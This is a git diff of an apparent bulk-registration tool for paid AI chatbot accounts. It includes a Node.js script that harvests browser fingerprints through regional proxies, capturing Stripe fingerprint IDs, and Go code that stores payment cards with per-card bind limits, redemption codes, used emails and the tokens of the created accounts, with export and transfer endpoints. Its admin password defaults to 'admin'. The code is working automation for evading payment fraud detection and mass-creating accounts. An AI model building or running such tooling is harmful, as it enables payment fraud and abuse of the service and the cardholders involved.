(FingerprintSwitcher)`); + console.log(` 保存目录: ${FP_DIR}`); + console.log('='.repeat(60)); + + const results = []; + let failures = 0; + + // 分批并行 (每批 workers 个) + for (let batch = 0; batch < count; batch += workers) { + const batchSize = Math.min(workers, count - batch); + const promises = []; + + for (let i = 0; i < batchSize; i++) { + const idx = batch + i + 1; + promises.push(harvestOne(region, idx, useSocks5, testMode, harvestUrl)); + } + + const batchResults = await Promise.allSettled(promises); + + for (let i = 0; i < batchResults.length; i++) { + const idx = batch + i + 1; + const result = batchResults[i]; + + if (result.status === 'fulfilled' && result.value && !result.value.test) { + const fp = result.value; + const fname = `${region}_${fp.proxy_sid}_${Date.now()}_${idx}.json`; + const fpath = path.join(FP_DIR, fname); + fs.writeFileSync(fpath, JSON.stringify(fp, null, 2), 'utf-8'); + console.log(` -> [${idx}] 已保存: ${fname}`); + results.push(fp); + } else if (result.status === 'rejected') { + console.log(` [!] [${idx}] 异常: ${result.reason?.message || result.reason}`); + failures++; + } else if (!result.value) { + failures++; + } + } + } + + // 更新 fingerprint.json + if (results.length > 0) { + const latest = results[results.length - 1]; + fs.writeFileSync( + path.join(__dirname, 'fingerprint.json'), + JSON.stringify(latest, null, 2), 'utf-8' + ); + console.log(`\nfingerprint.json 已更新 (Stripe ID=${latest.stripe_fingerprint_id})`); + } + + console.log(`\n${'='.repeat(60)}`); + console.log(` 完成: ${results.length} 成功, ${failures} 失败`); + console.log('='.repeat(60)); +} + +// ── 列出已有指纹 ── +function listFingerprints() { + if (!fs.existsSync(FP_DIR)) { + console.log('无指纹目录'); + return; + } + const files = fs.readdirSync(FP_DIR).filter(f => f.endsWith('.json')).sort(); + if (!files.length) { + console.log('无已保存的指纹'); + return; + } + console.log('='.repeat(70)); + console.log(` 已保存 ${files.length} 个指纹:`); + console.log('='.repeat(70)); + for (const fname of files) { + try { + const fp = JSON.parse(fs.readFileSync(path.join(FP_DIR, fname), 'utf-8')); + const src = fp.source === 'puppeteer-with-fingerprints' ? '[PWF]' : '[PW]'; + console.log(` ${src} ${fname}`); + console.log(` IP=${fp.proxy_ip || '?'}, Screen=${fp.screen_size || '?'}`); + console.log(` Stripe ID=${fp.stripe_fingerprint_id || '?'}`); + console.log(` UA=${(fp.user_agent || '?').substring(0, 60)}...`); + if (fp.webgl_renderer) { + console.log(` WebGL=${fp.webgl_renderer.substring(0, 50)}`); + } + } catch (e) { + console.log(` ${fname} (读取失败)`); + } + } + console.log('='.repeat(70)); +} + +// ── CLI ── +async function main() { + const args = process.argv.slice(2); + const getArg = (name, def) => { + const i = args.indexOf(name); + return i >= 0 && i + 1 < args.length ? args[i + 1] : def; + }; + const hasFlag = (name) => args.includes(name); + + if (hasFlag('--list')) { + listFingerprints(); + return; + } + + const count = parseInt(getArg('--count', '5')); + const region = (getArg('--region', 'KR')).toUpperCase(); + const workers = parseInt(getArg('--workers', '3')); + const useSocks5 = hasFlag('--socks5'); + const testMode = hasFlag('--test'); + const harvestUrl = getArg('--url', null); + + // 注: puppeteer-with-fingerprints 需要先下载浏览器引擎 (首次运行自动下载) + plugin.setServiceKey(''); // 免费版 + + await harvestBatch( + testMode ? Math.min(count, 2) : count, + region, useSocks5, workers, testMode, harvestUrl + ); +} + +main().catch(console.error); diff --git a/internal/db/crypto.go b/internal/db/crypto.go new file mode 100644 index 0000000..e58f7ed --- /dev/null +++ b/internal/db/crypto.go @@ -0,0 +1,78 @@ +package db + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "fmt" + "io" +) + +var encryptionKey []byte + +func SetEncryptionKey(hexKey string) error { + key, err := hex.DecodeString(hexKey) + if err != nil { + return fmt.Errorf("decode encryption key: %w", err) + } + if len(key) != 32 { + return fmt.Errorf("encryption key must be 32 bytes (64 hex chars), got %d bytes", len(key)) + } + encryptionKey = key + return nil +} + +func Encrypt(plaintext string) (string, error) { + if len(encryptionKey) == 0 { + return plaintext, nil + } + block, err := aes.NewCipher(encryptionKey) + if err != nil { + return "", err + } + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, aesGCM.NonceSize()) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "", err + } + ciphertext := aesGCM.Seal(nonce, nonce, []byte(plaintext), nil) + return hex.EncodeToString(ciphertext), nil +} + +func Decrypt(ciphertextHex string) (string, error) { + if len(encryptionKey) == 0 { + return ciphertextHex, nil + } + ciphertext, err := hex.DecodeString(ciphertextHex) + if err != nil { + return "", err + } + block, err := aes.NewCipher(encryptionKey) + if err != nil { + return "", err + } + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := aesGCM.NonceSize() + if len(ciphertext) < nonceSize { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] + plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", err + } + return string(plaintext), nil +} + +func HashSHA256(data string) string { + h := sha256.Sum256([]byte(data)) + return hex.EncodeToString(h[:]) +} diff --git a/internal/db/crypto_test.go b/internal/db/crypto_test.go new file mode 100644 index 0000000..43d1aaf --- /dev/null +++ b/internal/db/crypto_test.go @@ -0,0 +1,101 @@ +package db + +import ( + "testing" +) + +func TestHashSHA256(t *testing.T) { + h1 := HashSHA256("hello") + h2 := HashSHA256("hello") + if h1 != h2 { + t.Fatal("same input should produce same hash") + } + if h1 == HashSHA256("world") { + t.Fatal("different input should produce different hash") + } + if len(h1) != 64 { + t.Fatalf("SHA-256 hex should be 64 chars, got %d", len(h1)) + } +} + +func TestEncryptDecryptWithoutKey(t *testing.T) { + old := encryptionKey + encryptionKey = nil + defer func() { encryptionKey = old }() + + enc, err := Encrypt("plain") + if err != nil { + t.Fatalf("encrypt without key: %v", err) + } + if enc != "plain" { + t.Fatal("without key, Encrypt should return plaintext") + } + dec, err := Decrypt("plain") + if err != nil { + t.Fatalf("decrypt without key: %v", err) + } + if dec != "plain" { + t.Fatal("without key, Decrypt should return input as-is") + } +} + +func TestEncryptDecryptWithKey(t *testing.T) { + if err := SetEncryptionKey("0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"); err != nil { + t.Fatalf("set key: %v", err) + } + defer func() { encryptionKey = nil }() + + original := "4242424242424242" + enc, err := Encrypt(original) + if err != nil { + t.Fatalf("encrypt: %v", err) + } + if enc == original { + t.Fatal("encrypted text should differ from plaintext") + } + + dec, err := Decrypt(enc) + if err != nil { + t.Fatalf("decrypt: %v", err) + } + if dec != original { + t.Fatalf("decrypted = %q, want %q", dec, original) + } +} + +func TestEncryptNondeterministic(t *testing.T) { + if err := SetEncryptionKey("0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"); err != nil { + t.Fatalf("set key: %v", err) + } + defer func() { encryptionKey = nil }() + + e1, _ := Encrypt("same") + e2, _ := Encrypt("same") + if e1 == e2 { + t.Fatal("GCM encryption should produce different ciphertext each time (random nonce)") + } +} + +func TestSetEncryptionKeyInvalidLength(t *testing.T) { + if err := SetEncryptionKey("abcd"); err == nil { + t.Fatal("expected error for short key") + } +} + +func TestSetEncryptionKeyInvalidHex(t *testing.T) { + if err := SetEncryptionKey("zzzz"); err == nil { + t.Fatal("expected error for non-hex key") + } +} + +func TestDecryptInvalidCiphertext(t *testing.T) { + if err := SetEncryptionKey("0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"); err != nil { + t.Fatalf("set key: %v", err) + } + defer func() { encryptionKey = nil }() + + _, err := Decrypt("00") + if err == nil { + t.Fatal("expected error for short ciphertext") + } +} diff --git a/internal/db/db.go b/internal/db/db.go new file mode 100644 index 0000000..a962f78 --- /dev/null +++ b/internal/db/db.go @@ -0,0 +1,54 @@ +package db + +import ( + "fmt" + "os" + "path/filepath" + + "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +var DB *gorm.DB + +func Init(dbPath string) error { + dir := filepath.Dir(dbPath) + if dir != "." && dir != "" { + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create db directory: %w", err) + } + } + + db, err := gorm.Open(sqlite.Open(dbPath+"?_journal_mode=WAL&_busy_timeout=5000"), &gorm.Config{ + Logger: logger.Default.LogMode(logger.Warn), + }) + if err != nil { + return fmt.Errorf("open database: %w", err) + } + + sqlDB, err := db.DB() + if err != nil { + return fmt.Errorf("get sql.DB: %w", err) + } + sqlDB.SetMaxOpenConns(1) + + if err := db.AutoMigrate( + &SystemConfig{}, + &EmailRecord{}, + &Task{}, + &TaskLog{}, + &CardCode{}, + &Card{}, + &Account{}, + ); err != nil { + return fmt.Errorf("auto migrate: %w", err) + } + + DB = db + return nil +} + +func GetDB() *gorm.DB { + return DB +} diff --git a/internal/db/models.go b/internal/db/models.go new file mode 100644 index 0000000..cd1f9f7 --- /dev/null +++ b/internal/db/models.go @@ -0,0 +1,123 @@ +package db + +import "time" + +type SystemConfig struct { + ID uint `gorm:"primaryKey" json:"id"` + Key string `gorm:"uniqueIndex;size:100" json:"key"` + Value string `gorm:"type:text" json:"value"` + Group string `gorm:"size:50;index" json:"group"` + Label string `gorm:"size:100" json:"label"` + Type string `gorm:"size:20" json:"type"` // string, int, bool, password, textarea + UpdatedAt time.Time `json:"updated_at"` +} + +type EmailRecord struct { + ID uint `gorm:"primaryKey" json:"id"` + Email string `gorm:"size:200;uniqueIndex" json:"email"` + Status string `gorm:"size:20;index;default:in_use" json:"status"` // in_use, used, used_member, used_failed + UsedByAccountID *uint `gorm:"index" json:"used_by_account_id"` + UsedForRole string `gorm:"size:20" json:"used_for_role"` // owner, member + TaskID string `gorm:"size:36;index" json:"task_id"` + CreatedAt time.Time `gorm:"index" json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} + +type Task struct { + ID string `gorm:"primaryKey;size:36" json:"id"` + Type string `gorm:"size:20;index" json:"type"` // plus, team, both + TotalCount int `json:"total_count"` + DoneCount int `json:"done_count"` + SuccessCount int `json:"success_count"` + FailCount int `json:"fail_count"` + Status string `gorm:"size:20;index" json:"status"` // pending, running, stopping, stopped, interrupted, completed + Config string `gorm:"type:text" json:"-"` + CreatedAt time.Time `gorm:"index" json:"created_at"` + StartedAt *time.Time `json:"started_at"` + StoppedAt *time.Time `json:"stopped_at"` +} + +type TaskLog struct { + ID uint `gorm:"primaryKey" json:"id"` + TaskID string `gorm:"size:36;index" json:"task_id"` + Index int `json:"index"` + Email string `gorm:"size:200" json:"email"` + Status string `gorm:"size:20" json:"status"` // step, success, failed, skipped + Plan string `gorm:"size:20" json:"plan"` // plus, team, free + Message string `gorm:"size:500" json:"message"` + Error string `gorm:"type:text" json:"error"` + Duration int `json:"duration"` // seconds + CreatedAt time.Time `json:"created_at"` +} + +type CardCode struct { + ID uint `gorm:"primaryKey" json:"id"` + Code string `gorm:"size:100;uniqueIndex" json:"code"` + Status string `gorm:"size:20;index;default:unused" json:"status"` // unused, redeeming, redeemed, failed + CardID *uint `gorm:"index" json:"card_id"` + Error string `gorm:"size:200" json:"error"` + CreatedAt time.Time `gorm:"index" json:"created_at"` + RedeemedAt *time.Time `json:"redeemed_at"` +} + +type Card struct { + ID uint `gorm:"primaryKey" json:"id"` + NumberHash string `gorm:"size:64;uniqueIndex" json:"-"` + NumberEnc string `gorm:"type:text" json:"-"` + CVCEnc string `gorm:"type:text" json:"-"` + ExpMonth string `gorm:"size:2" json:"exp_month"` + ExpYear string `gorm:"size:4" json:"exp_year"` + Name string `gorm:"size:100" json:"name"` + + Country string `gorm:"size:10" json:"country"` + Address string `gorm:"size:200" json:"address"` + City string `gorm:"size:100" json:"city"` + State string `gorm:"size:100" json:"state"` + PostalCode string `gorm:"size:20" json:"postal_code"` + + Source string `gorm:"size:20;index" json:"source"` // api, manual + CardCodeID *uint `gorm:"index" json:"card_code_id"` + + Status string `gorm:"size:20;index;default:available" json:"status"` // available, active, exhausted, rejected, disabled, expired + BindCount int `gorm:"default:0" json:"bind_count"` + MaxBinds int `gorm:"default:1" json:"max_binds"` + ActivatedAt *time.Time `json:"activated_at"` + LastUsedAt *time.Time `json:"last_used_at"` + LastError string `gorm:"size:200" json:"last_error"` + BoundAccounts string `gorm:"type:text" json:"bound_accounts"` // JSON array + + CreatedAt time.Time `gorm:"index" json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` + + // Transient fields for API response (not stored in DB) + NumberLast4 string `gorm:"-" json:"number_last4,omitempty"` + CVCPlain string `gorm:"-" json:"cvc_plain,omitempty"` +} + +type Account struct { + ID uint `gorm:"primaryKey" json:"id"` + TaskID string `gorm:"size:36;index" json:"task_id"` + Email string `gorm:"size:200;uniqueIndex" json:"email"` + Password string `gorm:"size:100" json:"-"` + Plan string `gorm:"size:20;index" json:"plan"` // plus, team_owner, team_member + ParentID *uint `gorm:"index" json:"parent_id"` + Parent *Account `gorm:"foreignKey:ParentID" json:"parent,omitempty"` + SubAccounts []Account `gorm:"foreignKey:ParentID" json:"sub_accounts,omitempty"` + + AccessToken string `gorm:"type:text" json:"-"` + RefreshToken string `gorm:"type:text" json:"-"` + IDToken string `gorm:"type:text" json:"-"` + AccountID string `gorm:"size:100" json:"account_id"` + DeviceID string `gorm:"size:100" json:"-"` + UserID string `gorm:"size:100" json:"user_id"` + + TeamWorkspaceID string `gorm:"size:100" json:"team_workspace_id"` + WorkspaceToken string `gorm:"type:text" json:"-"` + + Status string `gorm:"size:20;index;default:active" json:"status"` // active, free, plus, team, banned, unknown + StatusCheckedAt *time.Time `json:"status_checked_at"` + Note string `gorm:"type:text" json:"note"` + + CreatedAt time.Time `gorm:"index" json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} diff --git a/internal/db/query.go b/internal/db/query.go new file mode 100644 index 0000000..38a219a --- /dev/null +++ b/internal/db/query.go @@ -0,0 +1,144 @@ +package db + +import ( + "time" + + "gorm.io/gorm" +) + +type PaginationParams struct { + Page int + Size int +} + +func (p *PaginationParams) Normalize() { + if p.Page < 1 { + p.Page = 1 + } + if p.Size < 1 || p.Size > 100 { + p.Size = 20 + } +} + +func (p *PaginationParams) Offset() int { + return (p.Page - 1) * p.Size +} + +type PaginatedResult struct { + Items interface{} `json:"items"` + Total int64 `json:"total"` + Page int `json:"page"` + Size int `json:"size"` +} + +func Paginate(db *gorm.DB, p PaginationParams, dest interface{}) (*PaginatedResult, error) { + p.Normalize() + var total int64 + if err := db.Count(&total).Error; err != nil { + return nil, err + } + if err := db.Offset(p.Offset()).Limit(p.Size).Find(dest).Error; err != nil { + return nil, err + } + return &PaginatedResult{ + Items: dest, + Total: total, + Page: p.Page, + Size: p.Size, + }, nil +} + +// Dashboard stats + +type DashboardStats struct { + TotalAccounts int64 `json:"total_accounts"` + PlusCount int64 `json:"plus_count"` + TeamCount int64 `json:"team_count"` + TodayRegistrations int64 `json:"today_registrations"` + SuccessRate float64 `json:"success_rate"` + ActiveTask *Task `json:"active_task"` + RecentTasks []Task `json:"recent_tasks"` +} + +func GetDashboardStats(db *gorm.DB) (*DashboardStats, error) { + stats := &DashboardStats{} + + db.Model(&Account{}).Count(&stats.TotalAccounts) + db.Model(&Account{}).Where("plan = ?", "plus").Count(&stats.PlusCount) + db.Model(&Account{}).Where("plan IN ?", []string{"team_owner", "team_member"}).Count(&stats.TeamCount) + + today := time.Now().Truncate(24 * time.Hour) + db.Model(&Account{}).Where("created_at >= ?", today).Count(&stats.TodayRegistrations) + + var totalLogs, successLogs int64 + db.Model(&TaskLog{}).Count(&totalLogs) + db.Model(&TaskLog{}).Where("status = ?", "success").Count(&successLogs) + if totalLogs > 0 { + stats.SuccessRate = float64(successLogs) / float64(totalLogs) * 100 + } + + var activeTask Task + if err := db.Where("status IN ?", []string{"running", "stopping"}).First(&activeTask).Error; err == nil { + stats.ActiveTask = &activeTask + } + + db.Order("created_at DESC").Limit(5).Find(&stats.RecentTasks) + + return stats, nil +} + +// Card stats + +type CardStats struct { + Total int64 `json:"total"` + Available int64 `json:"available"` + Active int64 `json:"active"` + Exhausted int64 `json:"exhausted"` + Rejected int64 `json:"rejected"` + Expired int64 `json:"expired"` + Disabled int64 `json:"disabled"` +} + +func GetCardStats(db *gorm.DB) *CardStats { + s := &CardStats{} + db.Model(&Card{}).Count(&s.Total) + db.Model(&Card{}).Where("status = ?", "available").Count(&s.Available) + db.Model(&Card{}).Where("status = ?", "active").Count(&s.Active) + db.Model(&Card{}).Where("status = ?", "exhausted").Count(&s.Exhausted) + db.Model(&Card{}).Where("status = ?", "rejected").Count(&s.Rejected) + db.Model(&Card{}).Where("status = ?", "expired").Count(&s.Expired) + db.Model(&Card{}).Where("status = ?", "disabled").Count(&s.Disabled) + return s +} + +type CardCodeStats struct { + Total int64 `json:"total"` + Unused int64 `json:"unused"` + Redeemed int64 `json:"redeemed"` + Failed int64 `json:"failed"` +} + +func GetCardCodeStats(db *gorm.DB) *CardCodeStats { + s := &CardCodeStats{} + db.Model(&CardCode{}).Count(&s.Total) + db.Model(&CardCode{}).Where("status = ?", "unused").Count(&s.Unused) + db.Model(&CardCode{}).Where("status = ?", "redeemed").Count(&s.Redeemed) + db.Model(&CardCode{}).Where("status = ?", "failed").Count(&s.Failed) + return s +} + +type EmailRecordStats struct { + Total int64 `json:"total"` + Used int64 `json:"used"` + UsedMember int64 `json:"used_member"` + UsedFailed int64 `json:"used_failed"` +} + +func GetEmailRecordStats(db *gorm.DB) *EmailRecordStats { + s := &EmailRecordStats{} + db.Model(&EmailRecord{}).Count(&s.Total) + db.Model(&EmailRecord{}).Where("status = ?", "used").Count(&s.Used) + db.Model(&EmailRecord{}).Where("status = ?", "used_member").Count(&s.UsedMember) + db.Model(&EmailRecord{}).Where("status = ?", "used_failed").Count(&s.UsedFailed) + return s +} diff --git a/internal/db/query_test.go b/internal/db/query_test.go new file mode 100644 index 0000000..050944c --- /dev/null +++ b/internal/db/query_test.go @@ -0,0 +1,128 @@ +package db + +import ( + "testing" +) + +func TestPaginationNormalize(t *testing.T) { + tests := []struct { + in PaginationParams + wantPage int + wantSize int + }{ + {PaginationParams{0, 0}, 1, 20}, + {PaginationParams{-1, -5}, 1, 20}, + {PaginationParams{1, 200}, 1, 20}, + {PaginationParams{3, 10}, 3, 10}, + } + for _, tt := range tests { + tt.in.Normalize() + if tt.in.Page != tt.wantPage || tt.in.Size != tt.wantSize { + t.Errorf("Normalize(%+v) = page=%d size=%d, want page=%d size=%d", + tt.in, tt.in.Page, tt.in.Size, tt.wantPage, tt.wantSize) + } + } +} + +func TestPaginationOffset(t *testing.T) { + p := PaginationParams{Page: 3, Size: 10} + if p.Offset() != 20 { + t.Fatalf("Offset() = %d, want 20", p.Offset()) + } +} + +func TestPaginate(t *testing.T) { + d := setupTestDB(t) + + for i := 0; i < 25; i++ { + d.Create(&EmailRecord{Email: "test" + string(rune('A'+i)) + "@x.com", Status: "used"}) + } + + var records []EmailRecord + result, err := Paginate(d.Model(&EmailRecord{}), PaginationParams{Page: 2, Size: 10}, &records) + if err != nil { + t.Fatalf("Paginate: %v", err) + } + if result.Total != 25 { + t.Fatalf("Total = %d, want 25", result.Total) + } + if result.Page != 2 || result.Size != 10 { + t.Fatalf("Page=%d Size=%d, want 2/10", result.Page, result.Size) + } + if len(records) != 10 { + t.Fatalf("got %d records, want 10", len(records)) + } +} + +func TestGetCardStats(t *testing.T) { + d := setupTestDB(t) + d.Create(&Card{NumberHash: "h1", Status: "available", MaxBinds: 1}) + d.Create(&Card{NumberHash: "h2", Status: "active", MaxBinds: 1}) + d.Create(&Card{NumberHash: "h3", Status: "exhausted", MaxBinds: 1}) + d.Create(&Card{NumberHash: "h4", Status: "rejected", MaxBinds: 1}) + d.Create(&Card{NumberHash: "h5", Status: "disabled", MaxBinds: 1}) + + s := GetCardStats(d) + if s.Total != 5 { + t.Fatalf("Total = %d, want 5", s.Total) + } + if s.Available != 1 || s.Active != 1 || s.Exhausted != 1 || s.Rejected != 1 || s.Disabled != 1 { + t.Fatalf("stats mismatch: %+v", s) + } +} + +func TestGetCardCodeStats(t *testing.T) { + d := setupTestDB(t) + d.Create(&CardCode{Code: "c1", Status: "unused"}) + d.Create(&CardCode{Code: "c2", Status: "unused"}) + d.Create(&CardCode{Code: "c3", Status: "redeemed"}) + d.Create(&CardCode{Code: "c4", Status: "failed"}) + + s := GetCardCodeStats(d) + if s.Total != 4 || s.Unused != 2 || s.Redeemed != 1 || s.Failed != 1 { + t.Fatalf("stats mismatch: %+v", s) + } +} + +func TestGetEmailRecordStats(t *testing.T) { + d := setupTestDB(t) + d.Create(&EmailRecord{Email: "a@x.com", Status: "used"}) + d.Create(&EmailRecord{Email: "b@x.com", Status: "used_member"}) + d.Create(&EmailRecord{Email: "c@x.com", Status: "used_failed"}) + d.Create(&EmailRecord{Email: "d@x.com", Status: "in_use"}) + + s := GetEmailRecordStats(d) + if s.Total != 4 || s.Used != 1 || s.UsedMember != 1 || s.UsedFailed != 1 { + t.Fatalf("stats mismatch: %+v", s) + } +} + +func TestGetDashboardStats(t *testing.T) { + d := setupTestDB(t) + d.Create(&Account{Email: "p1@x.com", Plan: "plus", Status: "active"}) + d.Create(&Account{Email: "p2@x.com", Plan: "plus", Status: "active"}) + d.Create(&Account{Email: "t1@x.com", Plan: "team_owner", Status: "active"}) + d.Create(&Account{Email: "m1@x.com", Plan: "team_member", Status: "active"}) + + d.Create(&TaskLog{TaskID: "t1", Status: "success", Email: "p1@x.com"}) + d.Create(&TaskLog{TaskID: "t1", Status: "success", Email: "p2@x.com"}) + d.Create(&TaskLog{TaskID: "t1", Status: "failed", Email: "f@x.com"}) + + stats, err := GetDashboardStats(d) + if err != nil { + t.Fatalf("GetDashboardStats: %v", err) + } + if stats.TotalAccounts != 4 { + t.Fatalf("TotalAccounts = %d, want 4", stats.TotalAccounts) + } + if stats.PlusCount != 2 { + t.Fatalf("PlusCount = %d, want 2", stats.PlusCount) + } + if stats.TeamCount != 2 { + t.Fatalf("TeamCount = %d, want 2", stats.TeamCount) + } + // success rate: 2/3 * 100 = 66.66... + if stats.SuccessRate < 66 || stats.SuccessRate > 67 { + t.Fatalf("SuccessRate = %.2f, want ~66.67", stats.SuccessRate) + } +} diff --git a/internal/db/testhelper_test.go b/internal/db/testhelper_test.go new file mode 100644 index 0000000..09bf2cd --- /dev/null +++ b/internal/db/testhelper_test.go @@ -0,0 +1,28 @@ +package db + +import ( + "testing" + + "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +// setupTestDB creates an in-memory SQLite database for testing. +func setupTestDB(t *testing.T) *gorm.DB { + t.Helper() + d, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{ + Logger: logger.Default.LogMode(logger.Silent), + }) + if err != nil { + t.Fatalf("open test db: %v", err) + } + if err := d.AutoMigrate( + &SystemConfig{}, &EmailRecord{}, &Task{}, &TaskLog{}, + &CardCode{}, &Card{}, &Account{}, + ); err != nil { + t.Fatalf("migrate: %v", err) + } + DB = d + return d +} diff --git a/internal/handler/account.go b/internal/handler/account.go new file mode 100644 index 0000000..b15bfe4 --- /dev/null +++ b/internal/handler/account.go @@ -0,0 +1,171 @@ +package handler + +import ( + "fmt" + "net/http" + + "gpt-plus/internal/db" + "gpt-plus/internal/service" + + "github.com/gin-gonic/gin" +) + +func RegisterAccountRoutes(api *gin.RouterGroup) { + api.GET("/accounts", ListAccounts) + api.GET("/accounts/:id", GetAccount) + api.POST("/accounts/check", CheckAccounts) + api.POST("/accounts/:id/check", CheckSingleAccount) + api.POST("/accounts/test-model", TestModel) + api.PUT("/accounts/:id/note", UpdateAccountNote) + api.POST("/accounts/export", ExportAccounts) + api.POST("/accounts/:id/transfer-to-cpa", TransferToCPA) +} + +func ListAccounts(c *gin.Context) { + d := db.GetDB() + query := d.Model(&db.Account{}).Order("created_at DESC") + + plan := c.Query("plan") + if plan != "" && plan != "all" { + query = query.Where("plan = ?", plan) + } + // "all" or empty: show everything + + if status := c.Query("status"); status != "" { + query = query.Where("status = ?", status) + } + + if search := c.Query("search"); search != "" { + query = query.Where("email LIKE ?", "%"+search+"%") + } + + p := db.PaginationParams{Page: intQuery(c, "page", 1), Size: intQuery(c, "size", 20)} + var accounts []db.Account + result, err := db.Paginate(query, p, &accounts) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + for i := range accounts { + if accounts[i].Plan == "team_owner" { + d.Where("parent_id = ?", accounts[i].ID).Find(&accounts[i].SubAccounts) + } + if accounts[i].Plan == "team_member" && accounts[i].ParentID != nil { + var parent db.Account + if d.First(&parent, *accounts[i].ParentID).Error == nil { + accounts[i].Parent = &parent + } + } + } + result.Items = accounts + + c.JSON(http.StatusOK, result) +} + +func GetAccount(c *gin.Context) { + var account db.Account + d := db.GetDB() + if err := d.First(&account, c.Param("id")).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "账号不存在"}) + return + } + if account.Plan == "team_owner" { + d.Where("parent_id = ?", account.ID).Find(&account.SubAccounts) + } + c.JSON(http.StatusOK, account) +} + +func CheckAccounts(c *gin.Context) { + var req struct { + IDs []uint `json:"ids" binding:"required"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + results := service.CheckAccountStatuses(db.GetDB(), req.IDs) + c.JSON(http.StatusOK, gin.H{"message": "状态检查完成", "results": results}) +} + +func CheckSingleAccount(c *gin.Context) { + id := c.Param("id") + var uid uint + if _, err := fmt.Sscanf(id, "%d", &uid); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "无效的 ID"}) + return + } + results := service.CheckAccountStatuses(db.GetDB(), []uint{uid}) + if len(results) > 0 { + c.JSON(http.StatusOK, results[0]) + } else { + c.JSON(http.StatusNotFound, gin.H{"error": "账号不存在"}) + } +} + +func TestModel(c *gin.Context) { + var req struct { + ID uint `json:"id" binding:"required"` + Model string `json:"model"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + result := service.TestModelAvailability(db.GetDB(), req.ID, req.Model) + c.JSON(http.StatusOK, result) +} + +func UpdateAccountNote(c *gin.Context) { + var req struct { + Note string `json:"note"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + if err := db.GetDB().Model(&db.Account{}).Where("id = ?", c.Param("id")).Update("note", req.Note).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "备注已更新"}) +} + +func TransferToCPA(c *gin.Context) { + id := c.Param("id") + var uid uint + if _, err := fmt.Sscanf(id, "%d", &uid); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "无效的 ID"}) + return + } + result := service.TransferAccountToCPA(db.GetDB(), uid) + if result.OK { + c.JSON(http.StatusOK, result) + } else { + c.JSON(http.StatusInternalServerError, result) + } +} + +func ExportAccounts(c *gin.Context) { + var req struct { + IDs []uint `json:"ids" binding:"required"` + Note string `json:"note"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + data, filename, err := service.ExportAccounts(db.GetDB(), req.IDs, req.Note) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + c.Header("Content-Disposition", "attachment; filename=\""+filename+"\"") + if len(req.IDs) > 1 { + c.Data(http.StatusOK, "application/zip", data) + } else { + c.Data(http.StatusOK, "application/json", data) + } +} diff --git a/internal/handler/auth.go b/internal/handler/auth.go new file mode 100644 index 0000000..0e56dc4 --- /dev/null +++ b/internal/handler/auth.go @@ -0,0 +1,61 @@ +package handler + +import ( + "net/http" + "os" + + "github.com/gin-gonic/gin" + "golang.org/x/crypto/bcrypt" +) + +var adminPasswordHash []byte + +func InitAdminPassword() error { + password := os.Getenv("ADMIN_PASSWORD") + if password == "" { + password = "admin" + } + hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost) + if err != nil { + return err + } + adminPasswordHash = hash + return nil +} + +type loginRequest struct { + Password string `json:"password" binding:"required"` +} + +func Login(c *gin.Context) { + var req loginRequest + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": "密码不能为空"}) + return + } + + if err := bcrypt.CompareHashAndPassword(adminPasswordHash, []byte(req.Password)); err != nil { + c.JSON(http.StatusUnauthorized, gin.H{"error": "密码错误"}) + return + } + + token, err := GenerateToken() + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": "生成令牌失败"}) + return + } + + c.SetSameSite(http.SameSiteStrictMode) + c.SetCookie("token", token, 86400, "/", "", IsSecure(), true) + c.JSON(http.StatusOK, gin.H{"message": "登录成功"}) +} + +func Logout(c *gin.Context) { + c.SetSameSite(http.SameSiteStrictMode) + c.SetCookie("token", "", -1, "/", "", IsSecure(), true) + c.JSON(http.StatusOK, gin.H{"message": "已退出登录"}) +} + +func CheckAuth(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"authenticated": true}) +} diff --git a/internal/handler/card.go b/internal/handler/card.go new file mode 100644 index 0000000..01c299e --- /dev/null +++ b/internal/handler/card.go @@ -0,0 +1,324 @@ +package handler + +import ( + "context" + "net/http" + "strconv" + "strings" + "time" + + "gpt-plus/internal/db" + "gpt-plus/pkg/provider/card" + + "github.com/gin-gonic/gin" +) + +func RegisterCardRoutes(api *gin.RouterGroup) { + // Cards + api.GET("/cards", ListCards) + api.GET("/cards/active", GetActiveCard) + api.GET("/cards/stats", GetCardStats) + api.POST("/cards", AddCard) + api.PUT("/cards/:id/activate", ActivateCard) + 